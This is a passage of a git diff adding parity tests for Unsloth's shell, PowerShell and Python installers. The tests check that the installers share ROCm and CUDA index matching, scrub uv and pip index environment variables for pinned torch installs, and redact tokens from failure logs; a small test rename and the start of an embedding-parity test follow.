+    EXPECTED = {"gfx120x-all", "gfx1151", "gfx1150"}
+
+    def test_install_sh_allowlist(self):
+        text = INSTALL_SH.read_text(encoding = "utf-8").lower()
+        # install.sh: the TORCH_CONSTRAINT case (rocm7.2|gfx120x-all|gfx1151|gfx1150).
+        m = re.search(r"rocm7\.2\|gfx120x-all\|gfx1151\|gfx1150", text)
+        assert m, "install.sh gfx-2.11 allowlist case not found / changed"
+
+    def test_install_ps1_allowlist(self):
+        text = INSTALL_PS1.read_text(encoding = "utf-8").lower()
+        m = re.search(r"@\('gfx120x-all',\s*'gfx1151',\s*'gfx1150'\)", text)
+        assert m, "install.ps1 $_pinGfx211 allowlist not found / changed"
+
+    def test_setup_ps1_defines_single_allowlist_helper(self):
+        # setup.ps1 must define the allowlist once (Test-RocmGfx211Leaf) and reuse it, so
+        # the stale check and install spec can't disagree.
+        text = SETUP_PS1.read_text(encoding = "utf-8")
+        assert (
+            "function Test-RocmGfx211Leaf" in text
+        ), "setup.ps1 should define a single Test-RocmGfx211Leaf allowlist helper"
+        assert re.search(
+            r"@\('gfx120x-all',\s*'gfx1151',\s*'gfx1150'\)", text.lower()
+        ), "Test-RocmGfx211Leaf should hold the gfx-2.11 allowlist"
+        assert "$_pinGfx211 = Test-RocmGfx211Leaf" in text, (
+            "setup.ps1 install-spec path should reuse Test-RocmGfx211Leaf, not "
+            "re-hardcode the allowlist (they must not diverge)"
+        )
+
+    def test_stack_py_allowlist(self):
+        text = STACK_PY.read_text(encoding = "utf-8").lower()
+        assert (
+            '"gfx120x-all", "gfx1151", "gfx1150"' in text
+        ), "install_python_stack.py _ROCM_GFX_TORCH211_LEAVES not found / changed"
+
+
+class TestCudaLeafDigitParity:
+    """A wheel-family leaf is CUDA only when it is "cu" + digits (cu118/cu128/...).
+    A bare cu* glob wrongly catches mirror leaves like /custom or /current; when
+    that happened the venv was marked stale and rebuilt on every run. Every
+    installer must require a digit after "cu" in its family/CUDA classification."""
+
+    def test_stack_py_requires_cu_digit(self):
+        text = STACK_PY.read_text(encoding = "utf-8")
+        # EXACT cu+digits: a custom leaf like cu128-private must route to the
+        # verbatim/unknown path, not be compared against the installed +cu128 tag.
+        assert re.search(
+            r'r"cu\[0-9\]\+"', text
+        ), "install_python_stack.py _is_cuda_family_leaf must fullmatch cu[0-9]+"
+
+    def test_setup_ps1_requires_cu_digit(self):
+        text = SETUP_PS1.read_text(encoding = "utf-8")
+        # EXACT cu+digits: cu128-private must not classify as CUDA (it would become
+        # the expected tag and rebuild the venv on every update).
+        assert re.search(
+            r"'\^cu\[0-9\]\+\$'", text
+        ), "setup.ps1 Test-CudaFamilyLeaf must match ^cu[0-9]+$, not a cu* prefix"
+        # The stale-venv branch must go through the digit-guarded helper.
+        assert (
+            "Test-CudaFamilyLeaf $_pinLeaf" in text
+        ), "setup.ps1 stale check should classify CUDA via Test-CudaFamilyLeaf"
+
+    def test_install_ps1_requires_cu_digit_in_gpu_branch(self):
+        text = INSTALL_PS1.read_text(encoding = "utf-8")
+        assert re.search(
+            r"'\^cu\[0-9\]'", text
+        ), "install.ps1 Get-TauriGpuBranch must require a digit after cu"
+
+    def test_install_sh_requires_cu_digit_in_gpu_branch(self):
+        text = INSTALL_SH.read_text(encoding = "utf-8")
+        # The _tauri_gpu_branch cuda case must be cu[0-9]*, not a bare cu*.
+        assert re.search(
+            r"cu\[0-9\]\*\)\s*echo \"cuda\"", text
+        ), "install.sh _tauri_gpu_branch cuda case must be cu[0-9]*, not cu*"
+
+    def test_install_sh_backend_export_requires_cu_digit(self):
+        text = INSTALL_SH.read_text(encoding = "utf-8")
+        # Brand CUDA only on cu[0-9]*; a bare catch-all *) -> cuda would mis-brand
+        # /current, /custom pins and skip ROCm repair on AMD hosts.
+        assert re.search(
+            r'cu\[0-9\]\*\)\s*export UNSLOTH_TORCH_BACKEND="cuda"', text
+        ), "install.sh backend export must brand cuda only on cu[0-9]*"
+        # An unknown leaf must NOT commit a cuda backend (it unsets instead).
+        assert re.search(
+            r"\*\)\s*unset UNSLOTH_TORCH_BACKEND", text
+        ), "install.sh backend export must unset (not force cuda) on an unknown leaf"
+
+    def test_install_sh_lowercases_backend_leaf(self):
+        text = INSTALL_SH.read_text(encoding = "utf-8")
+        # The leaf feeding both the backend case and the 2.11 floor case must be
+        # lowercased so the canonical gfx120X-all (capital X) matches.
+        assert re.search(
+            r"_torch_index_leaf=\$\(printf '%s' \"\$_torch_index_leaf\" \| tr '\[:upper:\]' '\[:lower:\]'\)",
+            text,
+        ), "install.sh must lowercase _torch_index_leaf before the gfx/rocm/cu case matches"
+
+
+class TestKnown211SetParity:
+    """The KNOWN-2.11 rocm/gfx set must be identical across all four installers:
+    exactly {rocm7.2} plus the gfx allowlist {gfx120x-all, gfx1151, gfx1150}.
+    rocm7.3 / torch 2.12 do not exist, so no side may floor them speculatively."""
+
+    def test_install_sh_known_211_leaf_is_rocm72_and_gfx_allowlist(self):
+        text = INSTALL_SH.read_text(encoding = "utf-8")
+        # The 2.11 floor case matches exactly rocm7.2 + the three gfx leaves.
+        assert re.search(
+            r"rocm7\.2\|gfx120x-all\|gfx1151\|gfx1150\)", text
+        ), "install.sh 2.11 floor must be exactly rocm7.2|gfx120x-all|gfx1151|gfx1150"
+        # No speculative rocm7.3 anywhere.
+        assert "rocm7.3" not in text, "install.sh must not reference a non-existent rocm7.3"
+
+    def test_python_known_211_versions_is_only_rocm72(self):
+        text = STACK_PY.read_text(encoding = "utf-8")
+        assert "_ROCM_KNOWN_TORCH211_VERSIONS" in text
+        # The frozenset literal is exactly {(7, 2)}.
+        m = re.search(r"_ROCM_KNOWN_TORCH211_VERSIONS[^=]*=\s*frozenset\(\{([^}]*)\}\)", text)
+        assert m is not None, "install_python_stack.py must define _ROCM_KNOWN_TORCH211_VERSIONS"
+        assert "(7, 2)" in m.group(1)
+        assert "7, 3" not in m.group(1) and "7, 1" not in m.group(1)
+
+    def test_setup_ps1_known_211_helper_is_only_rocm72(self):
+        text = SETUP_PS1.read_text(encoding = "utf-8")
+        assert "Test-RocmKnown211Version" in text
+        # The predicate is Major -eq 7 -and Minor -eq 2 (only rocm7.2).
+        assert re.search(
+            r"Test-RocmKnown211Version[\s\S]{0,400}\$Major -eq 7 -and \$Minor -eq 2", text
+        ), "setup.ps1 Test-RocmKnown211Version must accept only rocm7.2"
+
+    def test_install_ps1_pin_floor_is_only_rocm72(self):
+        text = INSTALL_PS1.read_text(encoding = "utf-8")
+        # The pinned-ROCm install-spec floor must be Major -eq 7 -and Minor -eq 2,
+        # not the speculative >= 2 that would floor a non-existent rocm7.3.
+        assert re.search(
+            r"\$_pinRocm211 = \(\[int\]\$Matches\[1\] -eq 7 -and \[int\]\$Matches\[2\] -eq 2\)",
+            text,
+        ), "install.ps1 pinned-ROCm floor must be rocm7.2 only (no speculative >= 2)"
+
+    def test_ps1_pin_floor_gate_is_anchored(self):
+        """The floor-selection gate that reads $_pinRocm211 from the raw leaf must anchor
+        the rocm match ($), or a suffixed custom leaf (rocm7.2-private) matches the rocm7.2
+        prefix, takes the 2.11-floor branch, and is force-routed through the ROCm path
+        before the exact-match elseif can send it to the verbatim install (Codex P2)."""
+        for path, label in ((INSTALL_PS1, "install.ps1"), (SETUP_PS1, "setup.ps1")):
+            text = path.read_text(encoding = "utf-8")
+            assert "-match '^rocm(\\d+)\\.(\\d+)$'" in text, (
+                f"{label} floor gate must anchor the rocm match (^rocm(\\d+)\\.(\\d+)$) so a "
+                "suffixed custom leaf is not floored/routed as rocm7.2"
+            )
+            assert (
+                "-match '^rocm(\\d+)\\.(\\d+)'\n" not in text
+            ), f"{label} floor gate must not use the unanchored ^rocm(\\d+)\\.(\\d+) prefix"
+
+    def test_install_ps1_bounds_unknown_leaf_pinned_torch(self):
+        """install.ps1's pinned-torch install must bound BOTH companions on EVERY
+        index, cu<digits> families included: torchaudio 2.11 dropped its exact torch
+        pin from the wheel metadata, so a bare companion beside torch<2.11 can
+        resolve a mismatched 2.11.0 build (Codex P2, then unconditional per the
+        torchaudio 2.11 unpinning)."""
+        text = INSTALL_PS1.read_text(encoding = "utf-8")
+        assert (
+            '$_pinVisionSpec = "torchvision>=0.19,<0.26.0"' in text
+        ), "install.ps1 custom-pin install must bound torchvision (>=0.19,<0.26.0)"
+        assert (
+            '$_pinAudioSpec = "torchaudio>=2.4,<2.11.0"' in text
+        ), "install.ps1 custom-pin install must bound torchaudio (>=2.4,<2.11.0)"
+        # No cu-family exemption: the bounds apply unconditionally.
+        assert (
+            "$_pinCuLeaf" not in text
+        ), "install.ps1 must bound companions on every index (no cu-family exemption)"
+        # The bounded companions must actually be passed to the install command.
+        assert re.search(
+            r'"torch>=2\.4,<2\.11\.0" \$_pinVisionSpec \$_pinAudioSpec --default-index \$TorchIndexUrl',
+            text,
+        ), "install.ps1 custom-pin install must pass the bounded companion specs to uv"
+
+    def test_gfx_allowlist_matches_across_installers(self):
+        # The gfx 2.11 allowlist {gfx120x-all, gfx1151, gfx1150} must appear in each.
+        gfx = ("gfx120x-all", "gfx1151", "gfx1150")
+        for path, label in (
+            (INSTALL_SH, "install.sh"),
+            (INSTALL_PS1, "install.ps1"),
+            (SETUP_PS1, "setup.ps1"),
+            (STACK_PY, "install_python_stack.py"),
+        ):
+            low = path.read_text(encoding = "utf-8").lower()
+            for g in gfx:
+                assert g in low, f"{label} missing gfx 2.11 allowlist member {g}"
+
+
+class TestPinnedRocmLeafDigitParity:
+    """A pinned index is a pip ROCm --default-index family only when its leaf is an
+    EXACT rocm+digits (rocm7 / rocm7.2) or gfx*. A ^rocm[0-9] PREFIX (or a bare rocm*
+    glob) wrongly catches a custom mirror / find-links leaf (rocm-current /
+    rocm-rel-7.2.1) AND a suffixed private-mirror leaf (rocm7.2-private / rocm7-current),
+    routing it through the ROCm install path (which silently falls back to CPU on
+    failure) or skipping the custom-index companion bounds, instead of the verbatim
+    --default-index install. All installers must match the family EXACTLY: Python and
+    install.sh via a shared _is_pip_rocm_family_leaf, setup.ps1 via Test-PipRocmFamilyLeaf,
+    install.ps1 via an anchored ^rocm[0-9]+(\\.[0-9]+)?$ reroute."""
+
+    def test_install_ps1_pinned_reroute_requires_rocm_digit(self):
+        text = INSTALL_PS1.read_text(encoding = "utf-8")
+        # The pinned gfx*/rocm reroute must match rocm EXACTLY (anchored), so a suffixed
+        # rocm7.2-private / rocm-current falls through to the verbatim --default-index path.
+        assert "-match '^rocm[0-9]+(\\.[0-9]+)?$'" in text, (
+            "install.ps1 pinned-index reroute must anchor the rocm match "
+            "(^rocm[0-9]+(\\.[0-9]+)?$), not a bare -like 'rocm*' or an unanchored ^rocm\\d"
+        )
+        # Neither the broad glob nor the unanchored prefix may drive that reroute.
+        assert (
+            "-like 'rocm*'" not in text
+        ), "install.ps1 must not route a pinned index on a bare -like 'rocm*' glob"
+        assert (
+            "-match '^rocm\\d'" not in text
+        ), "install.ps1 must not route a pinned index on an unanchored -match '^rocm\\d'"
+
+    def test_setup_ps1_pinned_reroute_requires_rocm_digit(self):
+        text = SETUP_PS1.read_text(encoding = "utf-8")
+        # setup.ps1 routes every family decision through Test-PipRocmFamilyLeaf, which
+        # anchors the rocm match so a suffixed custom leaf stays on the verbatim path.
+        assert (
+            "function Test-PipRocmFamilyLeaf" in text
+        ), "setup.ps1 must define Test-PipRocmFamilyLeaf (the exact rocm/gfx family gate)"
+        assert "'^rocm[0-9]+(\\.[0-9]+)?$'" in text, (
+            "setup.ps1 Test-PipRocmFamilyLeaf must anchor the rocm match "
+            "(^rocm[0-9]+(\\.[0-9]+)?$) so rocm7.2-private / rocm-current stay verbatim"
+        )
+        pinned_block = text[text.find("$_pinGfx211 = Test-RocmGfx211Leaf") :][:2000]
+        assert (
+            "-like 'rocm*'" not in pinned_block
+        ), "setup.ps1 pinned reroute must not route on a bare -like 'rocm*' glob"
+
+    def test_install_sh_repairable_requires_rocm_digit(self):
+        text = INSTALL_SH.read_text(encoding = "utf-8")
+        # _torch_index_repairable routes rocm/gfx through the exact-match helper.
+        assert (
+            "_is_pip_rocm_family_leaf" in text
+        ), "install.sh must define/use _is_pip_rocm_family_leaf for the exact rocm gate"
+        # gfx needs a following digit: gfx-private / gfxfoo are custom verbatim pins.
+        assert re.search(
+            r'case "\$1" in\n\s*gfx\[0-9\]\*\) return 0', text
+        ), "install.sh _is_pip_rocm_family_leaf must treat only gfx<digit>* as a family"
+        assert not re.search(
+            r'case "\$1" in\n\s*gfx\*\) return 0', text
+        ), "install.sh _is_pip_rocm_family_leaf must not family-match a bare gfx* glob"
+
+    def test_stack_py_pip_rocm_family_requires_digit(self):
+        text = STACK_PY.read_text(encoding = "utf-8")
+        assert re.search(
+            r'fullmatch\(r"rocm\\d\+\(\?:\\\.\\d\+\)\?", leaf\)', text
+        ), "install_python_stack.py _is_pip_rocm_family_leaf must fullmatch rocm\\d+(?:\\.\\d+)?"
+        # The unanchored prefix must be gone from the family/flavor gates.
+        assert (
+            're.match(r"^rocm\\d"' not in text
+        ), "install_python_stack.py must not gate a family on an unanchored re.match(^rocm\\d)"
+
+    def test_install_sh_rocm_side_effects_digit_gated(self):
+        """The AMD bitsandbytes + 'repair ROCm torch' side effects must fire only on
+        an EXACT ROCm family (rocm7.2/gfx*), not a bare */rocm* whole-URL glob nor a
+        ^rocm[0-9] prefix that catches a custom CPU/CUDA index like /rocm-current or a
+        suffixed /rocm7.2-private and force-repairs it from the wrong --default-index."""
+        text = INSTALL_SH.read_text(encoding = "utf-8")
+        assert (
+            'if _is_pip_rocm_family_leaf "$_torch_index_leaf"; then\n    _torch_index_is_rocm_family=true'
+            in text
+        ), "install.sh must set _torch_index_is_rocm_family from the exact-match helper"
+        assert (
+            '[ "$_torch_index_is_rocm_family" = true ]' in text
+        ), "install.sh ROCm bnb/repair hooks must gate on _torch_index_is_rocm_family"
+        assert (
+            "*/rocm*|*/gfx*)\n                _install_bnb_rocm" not in text
+        ), "install.sh must not gate _install_bnb_rocm on a bare */rocm* whole-URL glob"
+
+
+class TestPinnedIndexClearsUvEnvParity:
+    """Every installer must neutralise the uv index env vars for a pinned torch
+    install (#6898). uv treats the default index (--index-url / --default-index) as
+    lowest priority, so an inherited UV_INDEX / UV_EXTRA_INDEX_URL mirror would win
+    under uv's first-index strategy and pull torch from the wrong index -- after
+    which the pinned wheel index is silently never used."""
+
+    UV_VARS = ("UV_DEFAULT_INDEX", "UV_INDEX_URL", "UV_INDEX", "UV_EXTRA_INDEX_URL")
+
+    def test_install_sh_clears_uv_index_vars(self):
+        text = INSTALL_SH.read_text(encoding = "utf-8")
+        assert (
+            "env -u UV_DEFAULT_INDEX -u UV_INDEX_URL -u UV_INDEX -u UV_EXTRA_INDEX_URL" in text
+        ), "install.sh run_install_cmd must clear the uv index vars for --default-index installs"
+
+    def test_install_ps1_clears_uv_index_vars(self):
+        text = INSTALL_PS1.read_text(encoding = "utf-8")
+        for var in self.UV_VARS:
+            assert var in text, f"install.ps1 must clear {var} for pinned installs"
+
+    def test_setup_ps1_clears_uv_index_vars(self):
+        text = SETUP_PS1.read_text(encoding = "utf-8")
+        for var in self.UV_VARS:
+            assert var in text, f"setup.ps1 must clear {var} for pinned installs"
+
+    def test_stack_py_clears_uv_index_vars(self):
+        text = STACK_PY.read_text(encoding = "utf-8")
+        assert "_install_env_for_cmd" in text, (
+            "install_python_stack.py must scrub inherited uv index vars for pinned "
+            "installs via _install_env_for_cmd (parity with install.sh #6898)"
+        )
+        for var in self.UV_VARS:
+            assert var in text, f"install_python_stack.py must clear {var} for pinned installs"
+
+    def test_all_installers_clear_uv_torch_backend(self):
+        """uv's torch backend redirects torch resolution to its own per-backend
+        index even against an explicit pin, so every installer's pinned-install
+        scrub must clear UV_TORCH_BACKEND too."""
+        sh = INSTALL_SH.read_text(encoding = "utf-8")
+        assert "-u UV_TORCH_BACKEND" in sh, "install.sh pinned scrub must clear UV_TORCH_BACKEND"
+        for path in (INSTALL_PS1, SETUP_PS1):
+            text = path.read_text(encoding = "utf-8")
+            assert (
+                "'UV_TORCH_BACKEND'" in text
+            ), f"{path.name} pinned scrub must clear UV_TORCH_BACKEND"
+        stack = STACK_PY.read_text(encoding = "utf-8")
+        assert (
+            '"UV_TORCH_BACKEND",' in stack
+        ), "install_python_stack.py strip tuple must include UV_TORCH_BACKEND"
+
+    def test_stack_py_strips_pip_extra_index_for_pip_fallback(self):
+        """The pip fallback honours PIP_EXTRA_INDEX_URL (pip adds it IN ADDITION
+        to --index-url), so the pinned-command scrub must strip it."""
+        stack = STACK_PY.read_text(encoding = "utf-8")
+        assert (
+            '"PIP_EXTRA_INDEX_URL",' in stack
+        ), "install_python_stack.py strip tuple must include PIP_EXTRA_INDEX_URL"
+
+    def test_all_installers_scrub_find_links(self):
+        """uv's --find-links (env UV_FIND_LINKS) adds candidate locations that can
+        satisfy torch off a pinned index; every pinned-install scrub must clear it."""
+        sh = INSTALL_SH.read_text(encoding = "utf-8")
+        assert "-u UV_FIND_LINKS" in sh
+        for path in (INSTALL_PS1, SETUP_PS1):
+            assert "'UV_FIND_LINKS'" in path.read_text(encoding = "utf-8"), path.name
+        stack = STACK_PY.read_text(encoding = "utf-8")
+        assert '"UV_FIND_LINKS",' in stack and '"PIP_FIND_LINKS",' in stack
+
+    def test_setup_ps1_scrub_covers_pip_fallback(self):
+        """setup.ps1's Fast-Install must keep the scrub active through the pip
+        fallback (pip honours PIP_EXTRA_INDEX_URL / PIP_FIND_LINKS in addition to
+        --index-url); restoring the vars before the fallback reopens the hole."""
+        text = SETUP_PS1.read_text(encoding = "utf-8")
+        fi = text[text.find("function Fast-Install") :][:2500]
+        assert "'PIP_EXTRA_INDEX_URL'" in fi and "'PIP_FIND_LINKS'" in fi
+        # the pip fallback must sit INSIDE the try whose finally restores the vars
+        assert fi.find("python -m pip install") < fi.find(
+            "finally"
+        ), "pip fallback must run before the scrub is restored"
+
+    def test_all_installers_disable_uv_config_for_pinned_installs(self):
+        """A DISCOVERED uv.toml / pyproject [tool.uv] outranks the CLI pin
+        (verified with uv 0.10: [pip] torch-backend = "cpu" and a non-default
+        [[index]] both resolve torch+cpu against an explicit --index-url /
+        --default-index cu126 pin; UV_NO_CONFIG=1 restores the pin). Every
+        installer's pinned scrub must set UV_NO_CONFIG=1 and drop UV_CONFIG_FILE."""
+        sh = INSTALL_SH.read_text(encoding = "utf-8")
+        assert "-u UV_CONFIG_FILE UV_NO_CONFIG=1" in sh, (
+            "install.sh run_install_cmd must set UV_NO_CONFIG=1 and drop "
+            "UV_CONFIG_FILE for --default-index installs"
+        )
+        for path in (INSTALL_PS1, SETUP_PS1):
+            text = path.read_text(encoding = "utf-8")
+            assert "'UV_CONFIG_FILE'" in text, f"{path.name} must drop UV_CONFIG_FILE"
+            assert (
+                "$env:UV_NO_CONFIG = '1'" in text
+            ), f"{path.name} must set UV_NO_CONFIG=1 for pinned installs"
+        stack = STACK_PY.read_text(encoding = "utf-8")
+        assert (
+            '"UV_CONFIG_FILE",' in stack
+        ), "install_python_stack.py strip tuple must include UV_CONFIG_FILE"
+        assert (
+            'env["UV_NO_CONFIG"] = "1"' in stack
+        ), "_install_env_for_cmd must set UV_NO_CONFIG=1 for pinned installs"
+
+    def test_pip_fallbacks_disable_pip_config_files(self):
+        """The pip FALLBACK (uv missing/failed) honours user/site pip config files
+        even with the PIP_* env vars stripped: `pip config set
+        global.extra-index-url` still adds indexes to a pinned install. pip loads
+        NO configuration files when PIP_CONFIG_FILE is the platform devnull, so
+        the two installers that HAVE a pip fallback (install_python_stack.py and
+        setup.ps1's Fast-Install) must set it in their pinned scrub. install.sh
+        and install.ps1 are uv-only (no python -m pip fallback) and need no
+        equivalent."""
+        stack = STACK_PY.read_text(encoding = "utf-8")
+        assert 'env["PIP_CONFIG_FILE"] = os.devnull' in stack, (
+            "_install_env_for_cmd must point PIP_CONFIG_FILE at os.devnull for "
+            "pinned installs (pip fallback isolation)"
+        )
+        setup = SETUP_PS1.read_text(encoding = "utf-8")
+        assert "$env:PIP_CONFIG_FILE = 'nul'" in setup, (
+            "setup.ps1 Fast-Install pinned scrub must point PIP_CONFIG_FILE at nul "
+            "(Windows devnull) so the pip fallback ignores user/site pip config"
+        )
+        assert (
+            "'PIP_CONFIG_FILE'" in setup
+        ), "setup.ps1 must save/restore PIP_CONFIG_FILE around the pinned scrub"
+
+    def test_setup_ps1_bounds_unknown_leaf_pinned_torch(self):
+        """A first-time/changed unknown-leaf custom pin routes through setup.ps1's
+        CUDA branch; install.ps1's fresh pinned install, install.sh, and the Python
+        verbatim path bound the WHOLE trio, so the Windows update path must too -- a
+        private mirror serving newer torch OR newer companions must not lift the venv
+        above the supported range under the pin."""
+        text = SETUP_PS1.read_text(encoding = "utf-8")
+        # The custom-leaf branch bounds torch AND both companions (parity with the
+        # other installers' custom-pin trio bounds), gated on a non-cu-family leaf.
+        for spec in (
+            '$cudaTorchSpec = "torch>=2.4,<2.11.0"',
+            '$cudaVisionSpec = "torchvision>=0.19,<0.26.0"',
+            '$cudaAudioSpec = "torchaudio>=2.4,<2.11.0"',
+        ):
+            assert spec in text, f"setup.ps1 must bound the custom-leaf trio: {spec}"
+        assert (
+            "if ($TorchIndexPinned -and -not (Test-CudaFamilyLeaf $CuTag)) {" in text
+        ), "the custom-leaf trio bounds must be gated on a pinned non-cu-family leaf"
+        assert (
+            "Fast-Install $cudaTorchSpec $cudaVisionSpec $cudaAudioSpec" in text
+        ), "setup.ps1's CUDA branch must install via the bounded spec variables"
+
+    def test_setup_ps1_bounds_pinned_cpu_torch(self):
+        """setup.ps1's CPU branch must bound the trio under an explicit pin (parity with
+        _CPU_TORCH_PKG_SPEC): the /cpu index serves newer torch, and _ensure_cpu_torch
+        keeps any CPU build, so a bare pinned trio could land an unsupported version.
+        An unpinned CPU host keeps the bare trio (pre-pin behavior unchanged)."""
+        text = SETUP_PS1.read_text(encoding = "utf-8")
+        for spec in (
+            '$cpuTorchSpec  = "torch>=2.4,<2.12.0"',
+            '$cpuVisionSpec = "torchvision>=0.19,<0.27.0"',
+            '$cpuAudioSpec  = "torchaudio>=2.4,<2.12.0"',
+        ):
+            assert spec in text, f"setup.ps1 must bound the pinned CPU trio: {spec}"
+        assert (
+            "if ($TorchIndexPinned) {" in text
+        ), "the CPU trio bounds must be gated on an explicit pin"
+        assert (
+            "Fast-Install $cpuTorchSpec $cpuVisionSpec $cpuAudioSpec @cpuForce" in text
+        ), "setup.ps1's CPU branch must install via the spec variables"
+        # The ceilings mirror the Python repair spec exactly.
+        stack = STACK_PY.read_text(encoding = "utf-8")
+        spec_block = re.search(r"_CUDA_TORCH_PKG_SPEC[^(]*\(\s*(.*?)\)", stack, re.DOTALL)
+        assert spec_block and '"torch>=2.4,<2.12.0"' in spec_block.group(1), (
+            "_CPU_TORCH_PKG_SPEC (via _CUDA_TORCH_PKG_SPEC) must keep the torch<2.12 "
+            "ceiling the setup.ps1 pinned CPU branch mirrors"
+        )
+
+    def test_setup_ps1_stale_check_requires_rocm_digit(self):
+        """The stale-venv check must use the same EXACT rocm/gfx gate as the install
+        selection (Test-PipRocmFamilyLeaf), or a custom rocm-* / suffixed rocm7.2-private
+        leaf is stale-compared as a family and force-reinstalls on every studio update."""
+        text = SETUP_PS1.read_text(encoding = "utf-8")
+        anchor = text.find("$_pinLeaf = Get-TorchIndexLeaf $_pinnedIdx")
+        assert anchor >= 0, "setup.ps1 stale check must classify the pinned leaf"
+        stale = text[anchor:][:2500]
+        assert (
+            "Test-PipRocmFamilyLeaf" in stale
+        ), "setup.ps1 stale check must gate rocm leaves via the exact Test-PipRocmFamilyLeaf"
+        assert (
+            stale.count("-like 'rocm*'") == 0
+        ), "setup.ps1 stale check must not use a bare -like 'rocm*' glob"
+        assert (
+            "-match '^rocm\\d'" not in stale
+        ), "setup.ps1 stale check must not use an unanchored -match '^rocm\\d'"
+
+
+class TestIndexPathSlashTrimParity:
+    """Every installer must trim trailing PATH slashes only on the verbatim
+    UNSLOTH_TORCH_INDEX_URL override, preserving a ?query/#fragment token: a whole-URL
+    strip corrupts a base64 token ending in "/", a single strip leaves a double-slash leaf
+    empty. The helper must be DEFINED and WIRED into the override return in all four."""
+
+    def test_helper_defined_in_all_installers(self):
+        assert "def _trim_index_path_slashes(" in STACK_PY.read_text(encoding = "utf-8")
+        assert "_trim_index_path_slashes()" in INSTALL_SH.read_text(encoding = "utf-8")
+        assert "function Trim-IndexPathSlashes" in INSTALL_PS1.read_text(encoding = "utf-8")
+        assert "function Trim-IndexPathSlashes" in SETUP_PS1.read_text(encoding = "utf-8")
+
+    def test_helper_wired_into_override_in_all_installers(self):
+        assert "_trim_index_path_slashes(url)" in STACK_PY.read_text(encoding = "utf-8")
+        assert '_url=$(_trim_index_path_slashes "$_url")' in INSTALL_SH.read_text(encoding = "utf-8")
+        assert "Trim-IndexPathSlashes $env:UNSLOTH_TORCH_INDEX_URL" in INSTALL_PS1.read_text(
+            encoding = "utf-8"
+        )
+        assert "Trim-IndexPathSlashes $env:UNSLOTH_TORCH_INDEX_URL" in SETUP_PS1.read_text(
+            encoding = "utf-8"
+        )
+
+
+class TestInstallOutputRedactionParity:
+    """uv/pip failure text embeds the failing --index-url verbatim, so a captured install
+    log dumped on error can leak a user:token@ or ?token= secret. Every installer must
+    DEFINE a redaction helper and WIRE it into the captured-output print path."""
+
+    def test_helper_defined_in_all_installers(self):
+        assert "def _redact_install_output(" in STACK_PY.read_text(encoding = "utf-8")
+        assert "_redact_install_output()" in INSTALL_SH.read_text(encoding = "utf-8")
+        assert "function Redact-InstallOutput" in INSTALL_PS1.read_text(encoding = "utf-8")
+        assert "function Redact-InstallOutput" in SETUP_PS1.read_text(encoding = "utf-8")
+
+    def test_helper_wired_into_failure_print(self):
+        # install.sh dumps the captured log through the redactor on failure.
+        assert '_redact_install_output "$_log"' in INSTALL_SH.read_text(encoding = "utf-8")
+        # Both ps1 installers redact the captured $output before Write-Host on non-zero exit.
+        assert (
+            "Write-Host (Redact-InstallOutput $output) -ForegroundColor Red"
+            in INSTALL_PS1.read_text(encoding = "utf-8")
+        )
+        assert (
+            "Write-Host (Redact-InstallOutput $output) -ForegroundColor Red"
+            in SETUP_PS1.read_text(encoding = "utf-8")
+        )
+        # Python redacts the captured stdout before printing.
+        assert "_redact_install_output(" in STACK_PY.read_text(encoding = "utf-8")
+
+
+class TestPipNoIndexScrubParity:
+    """The plain-pip fallback honours PIP_*: PIP_NO_INDEX=1 makes it ignore ALL indexes
+    (defeating the pinned --index-url) and PIP_INDEX_URL replaces the pin. The two installers
+    that HAVE a plain-pip fallback (Python + setup.ps1) must scrub both for a pinned install.
+    install.sh / install.ps1 are uv-only (--default-index), which ignores pip config/env."""
+
+    def test_python_scrubs_pip_no_index_and_pip_index_url(self):
+        text = STACK_PY.read_text(encoding = "utf-8")
+        assert '"PIP_NO_INDEX"' in text
+        assert '"PIP_INDEX_URL"' in text
+
+    def test_setup_ps1_scrubs_pip_no_index_and_pip_index_url(self):
+        text = SETUP_PS1.read_text(encoding = "utf-8")
+        assert "'PIP_NO_INDEX'" in text
+        assert "'PIP_INDEX_URL'" in text
diff --git a/tests/python/test_e2e_no_torch_sandbox.py b/tests/python/test_e2e_no_torch_sandbox.py
index f412de2063..bb61af462d 100644
--- a/tests/python/test_e2e_no_torch_sandbox.py
+++ b/tests/python/test_e2e_no_torch_sandbox.py
@@ -30,7 +30,7 @@ VLM_PROCESSING = DATASETS_DIR / "vlm_processing.py"
 ITERABLE = DATASETS_DIR / "iterable.py"
 HARDWARE_PY = HARDWARE_DIR / "hardware.py"
 
-# Studio venv for server tests
+# Unsloth venv for server tests
 STUDIO_VENV = Path.home() / ".unsloth" / "studio" / "unsloth_studio"
 
 sys.path.insert(0, str(STUDIO_DIR))
@@ -957,20 +957,20 @@ server = pytest.mark.server
 
 @server
 class TestLiveServerStartup:
-    """Live server startup against the existing Studio venv with torch made unimportable (pytest -m server)."""
+    """Live server startup against the existing Unsloth venv with torch made unimportable (pytest -m server)."""
 
     @pytest.fixture(autouse = True)
     def _check_studio_venv(self):
         py = _studio_venv_python()
         if py is None:
-            pytest.skip("Studio venv not found at ~/.unsloth/studio/unsloth_studio")
+            pytest.skip("Unsloth venv not found at ~/.unsloth/studio/unsloth_studio")
 
     @pytest.fixture(scope = "class")
     def server_process(self):
         """Start the studio backend server without torch, yield (proc, port), then stop."""
         py = _studio_venv_python()
         if py is None:
-            pytest.skip("Studio venv not found")
+            pytest.skip("Unsloth venv not found")
 
         port = _server_port()
         backend_dir = BACKEND_DIR
diff --git a/tests/python/test_fast_sentence_transformer_embedding_parity.py b/tests/python/test_fast_sentence_transformer_embedding_parity.py
new file mode 100644
index 0000000000..252d4486a5
--- /dev/null
+++ b/tests/python/test_fast_sentence_transformer_embedding_parity.py
@@ -0,0 +1,122 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team.
+"""Regression guard for issue #6881: FastSentenceTransformer must preprocess text
+like a stock SentenceTransformer for decoder embedding models. ST 5.x infers a
+"message" modality for chat-template models (e.g. Qwen/Qwen3-Embedding), so building
+via `Transformer(model_name, ...)` chat-wraps inputs and degrades embeddings;
+`_create_transformer_module` uses `Transformer.load(...)` instead.
+
+Layers: test_transformer_load_signature_supports_unsloth_kwargs (fast, runs when ST
+is importable) and test_fast_sentence_transformer_matches_stock_st (end-to-end parity,
+opt-in via UNSLOTH_EMBEDDING_PARITY_MODEL so default CI is unaffected).
+"""
+
+from __future__ import annotations
+
+import inspect
+import os
+
+import pytest
+
+
+def test_transformer_load_signature_supports_unsloth_kwargs():
+    """Forwards-compat tripwire: a Hub-capable Transformer.load must accept the kwargs
